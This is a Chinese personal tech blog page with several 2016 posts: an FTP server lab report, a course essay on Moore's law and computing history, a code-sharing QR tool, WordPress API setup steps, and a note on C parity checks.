        unsigned gd_off_31_16 : 16;        // high bits of offset in segment
    };

    这个数据结构对应于如下两种x86架构下的中断描述符(IDT):

    这种语法在表示一些带有非整字节元素的数据结构时非常方便,例如x86架构定义的一些数据结构,或是类似IPv4的网络协议头,可以免于用C++的成员函数的方式来封装。

     
  • jinzihao am12:51 on 2016年12月31日 链接地址 | 回复  

    FTP实验报告 

    注:本文为计算机网络原理课程实验的实验报告,实验内容为实现一个简单的FTP服务器,程序已开源:https://github.com/jzh14/ftpd

    1. 概述

      本程序实现了一个符合RFC 959的FTP服务器和配套的客户端,其中FTP服务器支持主动和被动模式,支持多用户同时上传/下载,可以和主流FTP客户端(如Filezilla)正常交互(上传、下载、重命名、删除、创建目录、删除目录、切换目录等),支持使用配置文件对用户名、密码、路径、欢迎信息进行设置,并在安全性上进行了比较充分的测试和针对性的加固。

      FTP客户端仿照Windows内置的ftp命令实现,提供了和FTP服务器正常交互所需的功能(上传、下载、重命名、删除、创建目录、删除目录、切换目录等)。

      FTP服务器支持的FTP命令:APPE CWD DELE HELP LIST MKD NLST NOOP OPTS PASS PASV PORT PWD QUIT RNTR RMD RNFR RNTO STOR SYST TYPE USER XPWD。

      FTP客户端支持的FTP命令:USER PASS HELP QUIT CWD PWD PUT PORT STOR RETR LIST MKD RMD DELE,并可使用LITERAL命令发送任意FTP命令到FTP服务器。

      以下主要针对服务器部分加以说明,因为服务器技术上的难度明显高于客户端,结构复杂得多,而且也有更多需要注意的细节。客户端功能仿照Windows内置ftp命令,实现细节可参看源码。

      本程序的全部源码可在此处下载:

      https://jinzihao.me/wp-content/uploads/2016/12/ftpd.tar.gz

    1. 技术架构

      FTP服务器主体为一个循环,使用fd_set维护当前活跃的socket集合,使用select()函数查找需要处理的socket。对于需要处理的socket分三种情况:客户端建立命令连接、客户端建立数据连接、客户端发来命令,以下分别讨论:

      1. 客户端建立命令连接

        只需接受连接并将socket加入命令socket对应的集合。

      2. 客户端建立数据连接

        又分为主动模式等待发送、主动模式等待接收、被动模式等待发送、被动模式等待接收四种情况:

        对于两种等待接收的情况,根据之前接收STOR命令时记录下的上传文件名,打开对应的文件,开始从网络上读取并写入到文件。

        主动模式等待发送不需要特殊的处理,因为服务器在和一个主动模式的客户端交互时一旦收到了RETR命令,就会立即和客户端建立连接,并开始传输。

        被动模式等待发送需要一些特殊处理,因为服务器端收到RETR命令后,不能立即发送数据,而是要等到客户端建立了数据连接之后才能发送,因此需要将待发送的文件缓存下来,等到进入了被动模式等待发送这个状态,再将缓存的数据发送给客户端。

      3. 客户端发来命令

        由于TCP是流不是包,不能保证每次收到的恰好是一条命令(有可能是半条、两条、三条或是更多条)。将用户发来的命令在换行符处切开,将已经完整接收到的命令加入队列。接下来处理队列中待处理的命令,共23种情况,以下分别介绍:

        1. OPTS

          不起实际作用,仅为应对部分FTP客户端建立连接后发送的OPTS UTF8命令。

        2. USER

          如果收到了用户名,则将该客户端对应的状态设为等待密码状态。

        3. PASS

          如果收到了密码,则和启动时读入到内存中的用户名密码对应表进行比对,如果匹配则将该客户端对应的状态设为已连接状态。特别地,anonymous用户的密码可以为任意值,是否允许anonymous用户登录在配置文件中指定。

        4. QUIT

          向客户端发送goodbye信息,断开连接。

        5. PORT

          如果客户端发来的IP地址和端口有效,则和客户端发来的IP地址和端口建立连接,并将该连接加入对应的fd_set。

        6. PASV

          创建一个新的监听socket,等待客户端连接,并向客户端发送服务器IP地址和新建的监听socket的端口号。

        7. XPWD

          发送该客户端的当前路径。

        8. PWD

          发送该客户端的当前路径。

        9. NLST

          如果客户端指定了路径,则列出以该用户的根目录为基准的,该路径下的文件。如果客户端没有指定参数,则发送该客户端当前路径下的文件列表,以换行符分隔(类似ls)。

        10. LIST

          类似NLST,但发送的内容还包括文件大小、修改时间、权限等信息(类似ls –l)。

        11. CWD

          如果客户端指定了路径,则切换到以用户的根目录为基准的该路径。

        12. HELP

          列出服务器支持的所有FTP命令。

        13. NOOP

          空指令,仅发送200 NOOP ok.

        14. SYST

          发送 215 UNIX Type: L8

        15. TYPE

          对TYPE I和TYPE A做出相应,但不起实际作用,实际使用的永远是二进制模式(即TYPE I)。

        16. RETR

          如果客户端已经进入了PORT或PASV模式,而且客户端指定了要下载的文件名,而且文件存在,则分主动模式和被动模式两种情况分别处理:

          如果是主动模式,则建立一个新进程,在新进程中立刻开始发送数据。

          如果是被动模式,需要分客户端是否已经建立了数据连接两种情况分别处理:如果客户端已经建立了数据连接,则直接建立新进程并开始发送;如果客户端尚未建立数据连接,则将待发送的文件缓存起来,等待客户端建立连接时再发送,其后的过程在前文”客户端建立数据连接”小节中有所介绍。

        17. STOR

          如果客户端已经进入了PORT或PASV模式,而且客户端指定了要上传的文件名,则将客户端请求上传的文件打开,并将对应的ofstream保存起来,等待客户端实际建立了数据连接之后再开始写入。

        18. APPE

          类似STOR,只不过打开文件时需要加入ios::app参数指定append模式。

        19. DELE

          如果客户端指定了要删除的文件名,且该文件存在,则调用remove函数删除文件并发回删除成功消息;如果客户端未指明要删除的文件名,或该文件不存在,则发挥删除失败消息。

        20. MKD

          如果客户端指定了要建立的文件夹名,则调用mkdir函数建立文件夹,如果建立成功则发回成功消息;如果未指明文件夹名或建立文件夹失败,则发回失败消息。

        21. RMD

          如果客户端指定了要删除的文件夹名,则调用rmdir函数删除文件夹,如果删除成功则发回成功消息;如果未指明文件夹名或删除文件夹失败,则发回失败消息。

        22. RNFR

          如果客户端指定了重命名的源文件,且源文件存在,则记录在该客户端对应的状态信息里,否则发送失败消息。

        23. RNTO

          如果客户端指定了重命名的目标文件,且之前已经成功执行过RNFR命令,则调用rename函数执行重命名,如果成功则发送成功消息,否则发送失败消息;如果之前未执行过RNFR命令则发送对应的失败消息。

    2. 一些细节
      1. 在utils.h中实现了一组通用的操作文件路径的函数,核心功能是给定根路径、当前路径和新路径的情况下进行路径切换的函数,可以对越界访问(超出用户的根路径)的情况进行比较好的限制。
      2. lib_ini.cpp为一个开源的INI Parser,利用它实现了配置文件的读取,从而避免了对配置信息硬编码。
      3. 在对用户命令的处理中,每一条命令(除去USER、PASS、OPTS、SYST等少数几条)都先判断了用户是否登录,从而避免了用户认证绕过。
    1. 思考题
      1. 在FTP中,为什么要建立两个TCP连接来分别传送命令和数据。

        如果只使用一个连接,发送的数据里可能混有命令(例如PWD、CWD),使得区分命令和数据变得困难。尽管可以使用转义序列的方式对数据中出现的命令加以转义,但也会造成效率降低和额外的带宽开销。而且FTP实现多种多样,对于什么需要转义这个问题,不同的服务器和客户端理解会有不一致的地方,一旦出现理解不一致就会导致传输过程中发生意外,从而大大降低了FTP协议的兼容性和实现的简便性。将命令和数据分为两个连接,大大简化了实现,避免了很多特殊判断,可以说是简洁优雅的设计。

      2. 主动方式和被动方式的主要区别是什么,为何要设计这两种方式。

        主动方式是服务器向客户端发起数据连接,而被动模式是客户端向服务器发起数据连接。这两种方式主要是应对服务器或客户端(实际上主要是客户端)可能在防火墙内,可以连接外网但无法接受外网连接这种情况。对于客户端处在内网的情况(例如通过使用NAT的路由器联网),被动方式是使用FTP唯一可行的选项。

      3. 当使用FTP下载大量小文件的时候,速度会很慢,这是什么缘故,可以怎样改进。

        通过FTP下载一个文件的开销比较大,需要先发送一个PORT或PASV命令,再发送一个RETR命令,再建立一个连接,然后才能开始下载。对于大量小文件的情况,开始下载时需要的这些操作耗时相当可观,实际传输耗时反倒占比较小。如果改进的话,可以新增一个批量传输命令,服务器端将大量小文件打包发送,客户端收到后再解包。(实际使用FTP时,对于大量小文件,确实往往是先手动压缩成zip或tar.gz再上传或下载,然后再手动解压缩。)

    1. 一点感想

      首先要说这个实验设计的相当好,能比较完整地体验一个真实的服务器是如何开发的,难易适中,而且还有很多可以拓展的地方。而且最后实现了一个实用的软件,可以和现有的FTP客户端兼容,而且这套框架也很容易套用到其他C/S架构的应用程序,这一点也是相当实用的。参照RFC实现一个协议,也是很值得体验的过程,在以后的工作中也是非常实用的技能。总之,这是一个相当实用的作业,在这个实验上花些时间非常值得。

      另外要感谢帮忙测试的肖元安、王瑞康两位学弟和黄昱恺学长,通过黑盒测试一共发现了FTP服务器2处安全漏洞和2处性能上的瓶颈,也提出了相当有帮助的建议,可以说在网络安全方面给我上了一课,非常感谢~也要感谢助教们在最后一周加班加点检查同学们的大实验,还能保持相当的耐心,还能给我足够的时间演示实现效果,为助教们点个赞~

     
  • jinzihao pm6:08 on 2016年12月12日 链接地址 | 回复  

    摩尔定律与计算机科学的过去、现在和未来 

    注:这是一门文化素质课的课程作业

    写在前面:

    摩尔定律是一个在计算机系不止一门的课程中,会从不同的角度被提及,每一个计算机专业的学生都有所了解,且多少都会有所思考的话题。但往往,即便是计算机专业的学生,也未必会意识到摩尔定律对计算机科学的巨大影响。本人作为计算机系的学生,借科学技术史系列讲座这门课的机会,也来思考一下摩尔定律与计算机科学发展史的密切关系。

    摩尔定律是什么

    摩尔定律最早由Intel公司创始人戈登·摩尔于1965年提出,简单的叙述如下:集成电路上晶体管数目大约每隔两年翻一番[1]。摩尔定律可以近似理解为:同等成本的集成电路,每两年性能便可以翻一番;同等性能的集成电路,每两年成本便可以减一半。

    摩尔定律不是物理定律,也不是计算机科学中的理论,而是行业规律,是一个经验性的结论。尽管它没有严格的理论依据,却是每一个计算机工作者无法忽视的规律。尽管集成电路更多属于电子学的研究范畴,但和这个”定律”(准确地说是规律)关系最为密切的,却是计算机科学。

    摩尔定律反映的是半导体行业技术进步的速度。什么速度?指数级的速度。有人会问,很多行业的增长都是每年增长若干个百分点,这也是指数级的增长,摩尔定律又有什么不同呢?摩尔定律反映的不是行业规模的增长,而是一项技术指标的增长,而且是超高速的增长,又有哪个行业背后的技术可以持续地、以可预见的高速度不断进步呢?而技术的进步,往往会加倍地推动行业规模的增长[2]。所谓第四次工业革命,又称信息革命[3],就概括了过去几十年中爆发式增长的行业。而爆发式增长的背后,不仅需要新思想,更需要有新技术的推动。信息时代几乎所有新技术的幕后推手,便是摩尔定律。

    突飞猛进的50年

    虽说摩尔定律是幕后推手,但普罗大众也并不难感受到摩尔定律的效果:电脑越来越快,越来越便宜,手机也类似。但摩尔定律只是这么简单吗?只是让电脑和智能手机走入了寻常百姓家吗?不止如此。

    如果没有摩尔定律,计算机科学的很多分支都不可能出现:

    当下正火的虚拟现实(VR)和它背后的计算机图形学,如果计算机的性能不是指数级的增长,而只是线性增长,如果今天计算机的性能只是五十年前摩尔定律刚刚提出时的几倍,或是哪怕是几十倍,虚拟现实就是不切实际的空想,甚至应该说,就根本不会有人有这样的设想。要么是画面刷新一次需要几分钟,要么就是满眼马赛克,何谈虚拟现实?实际上,今天一台普通的个人电脑,性能已经千倍于40年前的超级计算机了[4],就更不必提40年前最早的个人计算机了。2010年最快的个人电脑处理器——Intel Core i7 980 XE,其性能百万倍于1980年最快的个人电脑处理器——Intel 8087[5][6]。今天的虚拟现实技术对计算机性能提出了极高的要求,今天性能最强的个人电脑尚且是”勉强够用”[7],如果没有这百万倍的性能提升,如果现在的虚拟现实体验可以做到每秒24帧,这是一个让人感受不到卡顿的下限,那么放在30年前的电脑上,恰好是每天2帧。

    事实上,知名的计算机视觉软件包OpenCV,便是在1999年由Intel公司启动开发的。[8] Intel公司的初衷,是为其当时已经过剩的处理器性能找到合适的应用场景。计算机视觉成功了,光学字符识别(OCR)、人脸识别、基于视觉的定位[9]相继出现。Intel也成功了,开发人员对处理器的性能不断提出更高的要求,这让Intel公司性能强劲的处理器有了用武之地。

    近来同样很火的还有人工智能。最近AlphaGo在围棋上战胜了李世石,19年前深蓝在国际象棋上战胜了卡斯帕罗夫,都引发了公众对人工智能的极大关注。尽管实现和改进人工智能最重要的还是计算机科学家对算法的创新突破,但如果算法没有一个足够快的运行环境,也只能是没有实用价值的纸上谈兵。AlphaGo的核心技术有:(1) 深度学习:学习了人类选手3000万步的下法[10] (2) 强化学习:每天自我对局100万局 (3) 蒙特卡洛树搜索:在比赛现场通过大量模拟对战判断局势。倘若是用50年前的电脑,哪怕是在这50年间电脑的性能提高了50倍(也就是一个稳定的线性增长),AlphaGo也只能(1) 学习人类顶尖高手的一盘棋,(2) 每天自我对局1局,(3) 临场判断时,要避免超时认输,便只能昏招迭出。这样的AlphaGo,算法的精妙程度不减,但却不可能挑战人类职业选手,更不必提战胜人类顶尖选手了。

    另外还有互联网,以及互联网上承载的各种服务。试想一下,如果找出一台30年前的电脑上网试试看,最多只能显示些文字内容;如果找一台20年前的电脑上网试试看,看视频如同看幻灯片。更不要提50年前的电脑,哪怕是性能提高了50倍。如果摩尔定律不成立,无论是上爱奇艺追剧,还是出门查百度地图,或是让Siri安排些日常事项,我们今天习以为常的互联网,都会变成天方夜谭。电脑游戏会不会出现?俄罗斯方块或是贪吃蛇,这些是可以实现的。但”少年网吧打游戏三天三夜不幸猝死”?这就杞人忧天了。

    我们今天的生活很大程度上要归功于摩尔定律。而笔者作为一个IT行业未来的从业者,就更是对摩尔定律心存感激。因为摩尔定律让计算机的应用越来越丰富,也让这个行业有了越来越多的工作机会。可以说,一切广泛应用了计算机的行业,都要感谢摩尔定律,因为是摩尔定律让计算机变得如此强大。

    危机渐现的今天

    在摩尔定律的带领下,计算机的性能在50年间提高了不止百万倍。这指数级的技术进步背后,绝不是上帝的旨意,而是科学家的辛勤工作。过去几十年间,让摩尔定律一路走到今天的,有如下这些新技术[11]:

    • 集成电路的发明 (1958)
    • CMOS工艺 (1963)
    • 动态随机访问存储(DRAM) (1967)
    • 化学增幅型抗蚀剂 (1980)
    • 深紫外准分子激光蚀刻 (1980)
    • 化学机械平坦化 (1980)
    • 高介电常数闸极介电层 (2007) [12]
    • 多闸极晶体管 (2011) [13]
    • ……

    摩尔定律一路走来,依靠的还是先后出现的一项项新技术。但摩尔定律终究不是物理定律,并不能证明摩尔定律将永远成立。实际上,如今摩尔定律已经显出了颓势。Intel过去几十年坚持的两年的处理器更新周期,如今不得不放缓至两年半[14]。有人怪Intel的主要竞争对手AMD不争气,让Intel缺乏了改进产品的动力。但实际上,人终究战胜不了物理定律,摩尔定律在物理定律面前也显得无力。物质不能无限细分,宏观世界的物理性质,到了一个个原子的尺度就不再适用。如果要摩尔定律仍然成立,就需要不断提高晶体管集成度,也就是半导体行业的所谓制程。从65nm,到45nm,到32nm,到22nm,到14nm,再到如今的10nm,制程可以无限制地缩小下去吗?不能,因为原子有大小,物质不能无限细分,摩尔定律注定要碰到天花板。

    未来路在何方

    看到摩尔定律如今的艰难处境,IT行业最应该感到恐慌。如果摩尔定律崩塌了,IT行业还能维持今天(以及过去50年间)的飞速发展吗?正在进行中的第四次工业革命,是否也将在不远的未来由进行时变成了完成时?这对于IT行业的从业者,也包括计算机专业的学生,都是不愿意看到的局面。

    摩尔定律在过去50年间之所以能保持生命力,完全可以归功于电子学、材料学、物理学的新进展。没错,计算机科学家只是坐享其成,真正支撑着摩尔定律的一群人,并不从事计算机科学的研究。既然如此,如果这一群人充分发挥聪明才智,有没有可能让摩尔定律的生命延续下去?近些年的新进展让我们充满希望[15]:

    • 无接面晶体管 (2010)
    • 单电子晶体管 (2011)
    • 单原子晶体管 (2012)
    • 类脑芯片 (2014)
    • 硅锗晶体管 (2015)
    • 3D记忆体 (2015)
    • ……

    如果说期待电子学、材料学、物理学的新进展,对于计算机科学家而言算是求助于人,那么有没有求助于己的做法呢?还是回到前段时间引起广泛关注的AlphaGo,它让人们联想起19年前战胜卡斯帕罗夫的深蓝。从深蓝到AlphaGo,如果按照摩尔定律对计算机的性能每两年翻一番的预测,计算机的性能在19年间提高了千倍。但从深蓝采用的相对暴力的alpha-beta剪枝算法,到AlphaGo采用的更为精巧的深度学习,解决问题的复杂度提高了一个天文数字[16](按照一个粗略的估计,约为10126)。计算机科学家与其苦苦等待电子学、材料学、物理学的新进展,也许不如发挥聪明才智自救。摩尔定律的进步是指数级的,而新算法带来的性能的提升,甚至能远远超过指数级。

    计算机科学的过去要感谢摩尔定律,计算机科学的现在因为摩尔定律的步履维艰而感到紧张。至于计算机科学的未来,是尽可能为摩尔定律续命,还是彻底放弃摩尔定律?无论哪一条路,都有难关需要突破。为摩尔定律续命是求助于人,而放弃摩尔定律,争取算法突破则是求助于己。但无论通过哪一条途径,如果能延续过去50年由摩尔定律带来的,信息技术的飞速发展,不只是对于IT行业,对于整个人类社会都有着积极的意义。

    参考文献

    [1] Moore’s law – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/Moore%27s_law

    [2] 技术进步 – MBA智库百科

    http://wiki.mbalib.com/wiki/%E6%8A%80%E6%9C%AF%E8%BF%9B%E6%AD%A5#.E6.8A.80.E6.9C.AF.E8.BF.9B.E6.AD.A5.E5.AF.B9.E7.BB.8F.E6.B5.8E.E5.A2.9E.E9.95.BF.E7.9A.84.E4.BD.9C.E7.94.A8.E7.9A.84.E7.90.86.E8.AE.BA.E5.88.86.E6.9E.90

    [3] Information Revolution – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/Information_revolution

    [4] 每秒浮点运算次数 – 维基百科,自由的百科全书

    https://zh.wikipedia.org/wiki/%E6%AF%8F%E7%A7%92%E6%B5%AE%E9%BB%9E%E9%81%8B%E7%AE%97%E6%AC%A1%E6%95%B8

    [5] Intel 8087 – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/Intel_8087

    [6] FLOPS – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/FLOPS

    [7] 索尼:Oculus Rift 确实 VR 效果更好,但 PS VR 更适合大众

    http://cn.engadget.com/2016/03/10/sony-playstation-vr-oculus-rift/

    [8] OpenCV – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/OpenCV

    [9] 大疆发布精灵Phantom 4,引入”计算机视觉”_36氪

    http://36kr.com/p/5043959.html

    [10] Official Google Blog: AlphaGo: using machine learning to master the ancient game of Go

    https://googleblog.blogspot.com/2016/01/alphago-machine-learning-game-go.html

    [11] Moore’s law – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/Moore%27s_law#Enabling_factors_in_the_past

    [12] 45nm High-k + Metal Gate Strain-Enhanced Transistors

    ftp://download.intel.com/pressroom/kits/advancedtech/pdfs/VLSI_45nm_HiKMG-paper.pdf

    [13] Intel® 22 nm Technology

    http://www.intel.com/content/www/us/en/silicon-innovations/intel-22nm-technology.html

    [14] 摩尔定律开始失效?英特尔下代芯片延后半年推出

    http://cn.engadget.com/2015/07/16/intel-skylake-chips-delayed/

    [15] Moore’s law – Wikipedia, the free encyclopedia

    https://en.wikipedia.org/wiki/Moore%27s_law#Future_trends

    [16] 计算机战胜人类再等100年 围棋变化多过宇宙原子

    http://www.weiqiok.com/news/SINA/2016/01/doc-ifxnzanh0299936.asp

     
  • jinzihao pm12:18 on 2016年10月28日 链接地址 | 回复
    Tags: PHP,   

    晚上七点多钟,准备下楼吃饭,又不想放下正在读的代码…
    没法把电脑带到食堂,用微信把代码发到手机上可读性又太差…
    于是吃完饭就做了这么个东西…用法:
    (1) 在电脑上打开code.jinzihao.me
    (2) 复制代码,粘贴进来,再按PASTE
    (3) 手机扫描二维码
    code_4

     
  • jinzihao pm10:56 on 2016年9月22日 链接地址 | 回复  

    【转】The Design Philosophy of the DARPA Internet Protocols 

    这篇论文从互联网设计之初的几个目标出发,把互联网如此设计的种种考虑都解释清楚了,读完有恍然大悟之感。

    View Fullscreen
     
    • 陈文 下午5:49 on 2016年10月2日 链接地址 | 回复

      你家网站又挂了

    • 陈文 下午6:13 on 2016年11月1日 链接地址 | 回复

      另外这个网站我造了个皮毛,文件全放在谷盘上了,应该比较靠谱https://mini536.lima-city.de/index.php.htm

  • jinzihao pm6:46 on 2016年9月14日 链接地址 | 回复  

    Java大作业兼容服务端 

    1. 安装WordPress
    2. 安装修改版的get-image-from-pos WordPress插件
    3. 安装修改版的json-api WordPress插件
    4. 在json-api设置中启用NewsApp controller
    5. 在Android app源码中以http://<your domain>/api/newsapp/category代替http://assignment.crazz.cn/news/en/category;以http://<your domain>/api/newsapp/query代替http://assignment.crazz.cn/news/query(<your domain>为你的WordPress站点所在域名)
     
  • jinzihao pm6:33 on 2016年8月29日 链接地址 | 回复
    Tags: ,   

    C语言判断奇偶性:i&1和i%2 

    三个月前的一篇文章中,曾经好奇为什么C语言中同样是判断整数奇偶性,在不开编译优化(gcc -O0)的情况下,

    (1) bool isOdd = i & 1;

    (2) bool isOdd = i % 2;

    略快(但并没有快很多)。

    看过反汇编得到的汇编代码,发现即便没有开编译优化选项,编译器对于(2)也没有使用除法指令idiv,从而避免了(2)比(1)慢得多的情况。编译器由(2)编译出的汇编代码的作用,是保存一个临时变量t,如果需要判断奇偶性的数i是正数,则t取0,否则t取1;“i是否为奇数”则可以表示为((i + t) & 1) – t,这样就会比i & 1稍慢(但不会慢很多)。

    实际上(1)对于i为负数的情况会得到错误的结果,因此(2)的一点点额外的时间开销是完全有必要的;如果将上一篇文章main函数里面的int全部改为unsigned int,即使在指定gcc -O0的情况下,编译器也会对(1)和(2)编译出完全相同的汇编代码,即(2)也会被优化为i & 1。

     

     
    • 陈文 下午3:25 on 2016年9月9日 链接地址 | 回复

      你的网站用teleport下载文件只有60k/s,很多文件下载半天也下载不下来

    • 陈文 下午3:26 on 2016年9月9日 链接地址 | 回复

      另外问一下,这个网页http://netmite.com/android/srv/2.0/getapk.php的小玩意怎么放在我的网站上运行

c
写新的
j
下一篇文章/下一个回复
k
前一篇文章/以前的回复
r
回复
e
编辑
o
显示/隐藏 回复
t
回到顶部
l
go to login
h
show/hide help
shift + esc
取消